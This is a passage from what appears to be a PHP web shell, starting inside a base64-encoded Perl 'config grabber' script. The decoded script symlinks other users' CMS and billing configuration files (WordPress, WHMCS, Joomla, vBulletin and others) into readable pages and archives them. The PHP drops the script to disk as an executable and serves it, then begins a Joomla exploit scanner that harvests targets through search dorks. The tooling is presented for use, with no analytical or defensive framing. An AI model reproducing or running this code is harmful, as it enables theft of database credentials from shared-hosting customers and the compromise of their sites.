Z3MucGhwJywkZG9tYWluLid+fj5zbWYtZm9ydW0uc2h0bWwnKTsgDQogc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bXMvU2V0dGluZ3MucGhwJywkZG9tYWluLid+fj5zbWYtZm9ydW1zLnNodG1sJyk7IA0KIHN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PnVwbG9hZC5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbC9jb25maWcucGhwJywkZG9tYWluLid+fj5tYWxheS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNsZW50cy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xpZW50Mi5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50c3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xpZW50LnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcva29uZWtzaS5waHAnLCRkb21haW4uJ35+Pmxva29tZWRpYS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d2ViY29uZmlnLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGRvbWFpbi4nfn4+d2ViY29uZmlnMi5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvc3lzdGVtL3Npc3RlbS5waHAnLCRkb21haW4uJ35+Pmxva29tZWRpYTEuc2h0bWwnKTsgDQogc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9zeXN0ZW0vc2lzdGVtLnBocCcsJGRvbWFpbi4nfn4+bG9rb21lZGlhLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsJGRvbWFpbi4nfj5EcnVwYWwuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2UxMDdfY29uZmlnLnBocCcsJGRvbWFpbi4nfj5lMTA3LnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9kYXRhcy9jb25maWcucGhwJywkZG9tYWluLid+PlNlZGl0aW8uc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL1NTSS5waHAnLCRkb21haW4uJ35+PkNNRi5zaHRtbCcpIDsgDQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TU0kucGhwJywkZG9tYWluLid+fj5DTUYtZm9ydW0uc2h0bWwnKSA7IA0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jL2NvbmZpZy5waHAnLCRkb21haW4uJ35+Pk15QkIuc2h0bWwnKSA7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmMvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+TXlCQi1mb3J1bS5zaHRtbCcpIDsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRkb21haW4uJ35+Pk90aGVyLnNodG1sJykgOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywkZG9tYWluLid+fj5pbnZpc2lvLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9saWIvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+QmFsaXRiYW5nLnNodG1sJykgOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5jbGllbnRzLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNsaWVudC5zaHRtbCcpIDsgDQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5iaWxsaW5nLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5iaWxsaW5ncy5zaHRtbCcpIDsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PlBocEJCLWZvcnVtLnNodG1sJykgOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJGRvbWFpbi4nfn4+cGhwYmIzLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+d2htY3Muc2h0bWwnKSA7IA0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj53aG0uc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PndobWMuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAnLCRkb21haW4uJ35+PndobWNzMi5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5tYW5nZXdobWNzLnNodG1sJyk7IA0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PldobTkuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL215c2hvcC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+bXlzaG9wLnNodG1sJyk7IA0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+c3VwcG9ydC5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydHMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PnN1cHBvcnRzLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+Pm9zY29tbWVyY2Uuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL29zY29tbWVyY2VzL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+Pm9zY29tbWVyY2VzLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaG9wcGluZy9pbmNsdWRlcy9jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5zaG9wLXNob3BwaW5nLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+PnNhbGUuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2FtZW1iZXIvY29uZmlnLmluYy5waHAnLCRkb21haW4uJ35+PmFtZW1iZXIuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5pbmMucGhwJywkZG9tYWluLid+fj5hbWVtYmVyMi5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy13cC5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AvYmV0YS93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3Mtd3AtYmV0YS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtYmV0YS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d3AxMy1wcmVzcy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy13b3JkcHJlc3Muc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy9iZXRhL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy13b3JkcHJlc3MtYmV0YS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtbmV3cy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1uZXcuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3Mtd2ViLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2dzL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1ibG9ncy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtaG9tZS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1wcm90YWwuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+b3JkcHJlc3Mtc2l0ZS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtbWFpbi5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtdGVzdC5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEuc2h0bWwnKSA7IA0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLWhvbWUuc2h0bWwnKSA7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1qb29tbGEuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3Byb3RhbC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLXByb3RhbC5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtam9vLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1jbXMuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1zaXRlLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYWluL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtbWFpbi5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLW5ld3Muc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLW5ldy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLWhvbWUuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PlZCdWxsZXRpbi1mb3J1bS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+dmIuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiMy9pbmNsdWRlcy9jb25maWcucGhwJywkZG9tYWluLid+fj52YjMuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NwYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y3BhbmVsLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+cGFuZWwuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3QvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmhvc3Quc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmhvc3Rpbmcuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5ob3N0cy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkZG9tYWluLid+fj56ZW5jYXJ0LnNodG1sJyk7IA0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+PnplbmNhcnQtc2hvcC5zaHRtbCcpOyANCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5zaG9wLVpDc2hvcC5zaHRtbCcpOyANCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywkcGRvbWFpbi4nfn4+bWstcG9ydGFsZTEuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL1NldHRpbmdzLnBocCcsJGRvbWFpbi4nfn4+c21mLnNodG1sJyk7IA0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc21mL1NldHRpbmdzLnBocCcsJGRvbWFpbi4nfn4+c21mLXNtZi5zaHRtbCcpOyANCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL1NldHRpbmdzLnBocCcsJGRvbWFpbi4nfn4+c21mLWZvcnVtLnNodG1sJyk7IA0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGRvbWFpbi4nfn4+c21mLWZvcnVtcy5zaHRtbCcpOyANCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3VwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwJywkZG9tYWluLid+fj51cGxvYWQuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+bWFsYXkuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGVzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5jbGVudHMuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGUvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNsaWVudDIuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNsaWVudC5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnL2tvbmVrc2kucGhwJywkZG9tYWluLid+fj5sb2tvbWVkaWEuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PndlYmNvbmZpZy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRkb21haW4uJ35+PndlYmNvbmZpZzIuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3N5c3RlbS9zaXN0ZW0ucGhwJywkZG9tYWluLid+fj5sb2tvbWVkaWExLnNodG1sJyk7IA0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvc3lzdGVtL3Npc3RlbS5waHAnLCRkb21haW4uJ35+Pmxva29tZWRpYS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAnLCRkb21haW4uJ34+RHJ1cGFsLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9lMTA3X2NvbmZpZy5waHAnLCRkb21haW4uJ34+ZTEwNy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvZGF0YXMvY29uZmlnLnBocCcsJGRvbWFpbi4nfj5TZWRpdGlvLnNodG1sJyk7DQp9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMDAwMDAwIj4NCjxwPkNvbmZpZyBGdWNrZXI8L3A+DQo8cD48Zm9udCBjb2xvcj0iI0MwQzBDMCI+WzwvZm9udD4gQ29kZWQgQnkgPGZvbnQgY29sb3I9IiNGRjAwMDAiPlgtMU43M0NUPC9mb250Pjxmb250IGNvbG9yPSIjQzBDMEMwIj5dPC9mb250Pg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjx0ZXh0YXJlYSBuYW1lPSJwYXNzIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwZmYwMDsgd2lkdGg6IDU0M3B4OyBoZWlnaHQ6IDQyMHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6I0ZGMDAwMCIgID48L3RleHRhcmVhPjwvcD4NCjxwIGFsaWduPSJjZW50ZXIiPg0KPGlucHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9ImJvcmRlcjoxcHggZG90dGVkICNGRjAwMDA7IHdpZHRoOiAyMTJweDsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDOyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZTo4cHQ7IGNvbG9yOiNGRjAwMDA7ICIgIC8+PC9wPg0KPHAgYWxpZ249ImNlbnRlciI+DQo8aW5wdXQgbmFtZT0iU3VibWl0MSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR0VUIENPTkZJRyAhIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgI0ZGMDAwMDsgd2lkdGg6IDk5OyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjojNTlFODE3OyB0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7IGhlaWdodDoyMzsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDIiAvPjwvcD4NCjwvZm9ybT4nOw0KfWVsc2V7DQpAbGluZXMgPTwkRk9STXtwYXNzfT47DQokeSA9IEBsaW5lczsNCm9wZW4gKE1ZRklMRSwgIj50YXIudG1wIik7DQpwcmludCBNWUZJTEUgInRhciAtY3pmICIuJEZPUk17dGFyfS4iLnRhciAiOw0KZm9yICgka2E9MDska2E8JHk7JGthKyspew0Kd2hpbGUoQGxpbmVzWyRrYV0gID1+IG0vKC4qPyk6eDovZyl7DQombGlsKCQxKTsNCnByaW50IE1ZRklMRSAkMS4iLnR4dCAiOw0KZm9yKCRrZD0xOyRrZDwxODska2QrKyl7DQpwcmludCBNWUZJTEUgJDEuJGtkLiIudHh0ICI7DQp9DQp9DQogfQ0KcHJpbnQnPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0iIzAwMDAwMCI+DQo8cD5Zb3UgZ290IGl0ISE8YnI+PGJyPjxicj48Zm9udCBjb2xvcj0iI0MwQzBDMCI+WzwvZm9udD4gQ29kZWQgQnkgPGZvbnQgY29sb3I9IiNGRjAwMDAiPlgtMU43M0NUPC9mb250Pjxmb250IGNvbG9yPSIjQzBDMEMwIj5dPC9mb250PjwvcD4NCjxwPiZuYnNwOzwvcD4nOw0KaWYoJEZPUk17dGFyfSBuZSAiIil7DQpvcGVuKElORk8sICJ0YXIudG1wIik7DQpAbGluZXMgPTxJTkZPPiA7DQpjbG9zZShJTkZPKTsNCnN5c3RlbShAbGluZXMpOw0KcHJpbnQnPHA+PGEgaHJlZj0iJy4kRk9STXt0YXJ9LicudGFyIj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+DQo8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj5DbGljayBIZXJlIFRvIERvd25sb2FkIFRhciBGaWxlPC9zcGFuPjwvZm9udD48L2E+PC9wPic7DQp9DQp9DQogcHJpbnQiDQo8L2JvZHk+DQo8L2h0bWw+Ijs=';
$file = fopen("lcf.pl","w+");
$write = fwrite ($file ,base64_decode($lcf));
fclose($file);
chmod("lcf.pl",0755);
echo "<iframe src=LCF/lcf.pl width=97% height=100% frameborder=0></iframe>
</div>";
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'joomlaexploit'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=joomlaexploit" method="post">
<center><br><br><b>+--=[ Joomla Exploit Scanner ]=--+</b><br><br>
<?php
echo '<br><br><center><form method="post" action=""><b><font color="white">Dork : </font></b> <input class="inputz" type="text" value="" name="dork" style="color:white;background-color:#000000" size="20"/><input class="inputzbut" type="submit" style="color:white;background-color:#000000" name="scan" value="Scan"></form></center>';
ob_start();
set_time_limit(0);
if (isset($_POST['scan'])) {
$browser = $_SERVER['HTTP_USER_AGENT'];
$first = "startgoogle.startpagina.nl/index.php?q=";
$sec = "&start=";
$reg = '/<p class="g"><a href="(.*)" target="_self" onclick="/';
for($id=0 ; $id<=30; $id++){
$page=$id*10;
$dork=urlencode($_POST['dork']);
$url = $first.$dork.$sec.$page;
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
$result = curl_exec($curl);
curl_close($curl);
preg_match_all($reg,$result,$matches);
}
foreach($matches[1] as $site){
